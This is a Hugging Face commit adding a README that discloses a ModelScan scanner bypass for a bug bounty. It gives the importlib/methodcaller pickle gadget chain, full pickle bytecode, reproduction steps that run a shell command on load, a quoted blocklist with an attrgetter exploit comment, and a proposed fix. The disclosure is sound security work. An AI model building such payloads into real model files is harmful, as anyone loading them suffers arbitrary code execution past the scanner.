LWa7ch commited on
Commit
6a147a1
·
verified ·
1 Parent(s): cf4e9a4

Upload README.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. README.md +146 -0
README.md ADDED
@@ -0,0 +1,146 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain
2
+
3
+ ## Summary
4
+
5
+ This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x
6
+ (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
7
+
8
+ The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization
9
+ time while passing ModelScan's scan as "No issues found."
10
+
11
+ ## Vulnerability
12
+
13
+ **Affected scanner:** ModelScan 0.8.8
14
+ **Affected file types:** .pkl .pickle .joblib .dill .dat .data
15
+ **Impact:** Arbitrary Code Execution at model-load time, scanner bypass
16
+
17
+ ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a
18
+ comment documenting the operator gadget pattern, but omits `operator.methodcaller`,
19
+ which achieves equivalent method invocation on runtime objects. The `importlib` module
20
+ is entirely absent from the blocklist.
21
+
22
+ ## Gadget Chain
23
+
24
+ ```
25
+ importlib.import_module("os") <- not in ModelScan blocklist
26
+ operator.methodcaller("system", CMD) <- not in ModelScan blocklist
27
+ (only attrgetter is blocked)
28
+ ```
29
+
30
+ Execution:
31
+ ```
32
+ operator.methodcaller("system", CMD)(importlib.import_module("os"))
33
+ = os.system(CMD)
34
+ ```
35
+
36
+ ## Globals extracted by ModelScan
37
+
38
+ ```python
39
+ {('importlib', 'import_module'), ('operator', 'methodcaller')}
40
+ ```
41
+
42
+ Neither is in `unsafe_globals`. ModelScan reports CLEAN.
43
+
44
+ ## Reproduction
45
+
46
+ ### Requirements
47
+
48
+ ```
49
+ pip install modelscan joblib
50
+ ```
51
+
52
+ ### Step 1 - Verify execution
53
+
54
+ ```python
55
+ import pickle
56
+
57
+ with open("poc_modelscan_bypass.pkl", "rb") as f:
58
+ data = f.read()
59
+
60
+ # This executes os.system("id > /tmp/ml_pwned") immediately
61
+ pickle.loads(data)
62
+
63
+ import os
64
+ assert os.path.exists("/tmp/ml_pwned")
65
+ print("ACE confirmed:", open("/tmp/ml_pwned").read())
66
+ ```
67
+
68
+ ### Step 2 - Verify ModelScan bypass
69
+
70
+ ```
71
+ modelscan -p poc_modelscan_bypass.pkl
72
+ ```
73
+
74
+ Expected output:
75
+ ```
76
+ No issues found!
77
+ ```
78
+
79
+ ### Step 3 - Verify joblib.load() also triggers
80
+
81
+ ```python
82
+ import joblib
83
+ joblib.load("poc_modelscan_bypass.joblib")
84
+ # Same RCE fires
85
+ ```
86
+
87
+ ## Pickle Bytecode (protocol 4)
88
+
89
+ ```
90
+ PROTO 4
91
+ FRAME 107
92
+ SHORT_BINUNICODE 'importlib' MEMOIZE (as 0)
93
+ SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
94
+ STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module
95
+ SHORT_BINUNICODE 'os' MEMOIZE (as 3)
96
+ TUPLE1 MEMOIZE (as 4)
97
+ REDUCE MEMOIZE (as 5) <- os module
98
+ POP
99
+ SHORT_BINUNICODE 'operator' MEMOIZE (as 6)
100
+ SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
101
+ STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller
102
+ SHORT_BINUNICODE 'system' MEMOIZE (as 9)
103
+ SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10)
104
+ TUPLE2 MEMOIZE (as 11)
105
+ REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd)
106
+ BINGET 5 <- retrieve os module
107
+ TUPLE1
108
+ REDUCE <- os.system(cmd) -> RCE
109
+ STOP
110
+ ```
111
+
112
+ ## Root Cause
113
+
114
+ `modelscan/settings.py` line in `unsafe_globals`:
115
+
116
+ ```python
117
+ # Current (vulnerable)
118
+ "operator": [
119
+ "attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
120
+ ],
121
+ ```
122
+
123
+ The developer documented the operator gadget pattern but only blocked `attrgetter`.
124
+ `methodcaller` achieves the same result through method dispatch on runtime objects.
125
+
126
+ ## Fix
127
+
128
+ ```python
129
+ # Fixed
130
+ "operator": ["attrgetter", "methodcaller", "itemgetter"],
131
+ "importlib": "*",
132
+ ```
133
+
134
+ ## Files
135
+
136
+ | File | Description |
137
+ |------|-------------|
138
+ | poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
139
+ | poc_modelscan_bypass.joblib | Same payload, .joblib extension |
140
+ | poc_modelscan_bypass.py | Python script that generates and verifies the PoC |
141
+
142
+ ## Ethical Use
143
+
144
+ This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution.
145
+ It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
146
+ Do not use against systems you do not own.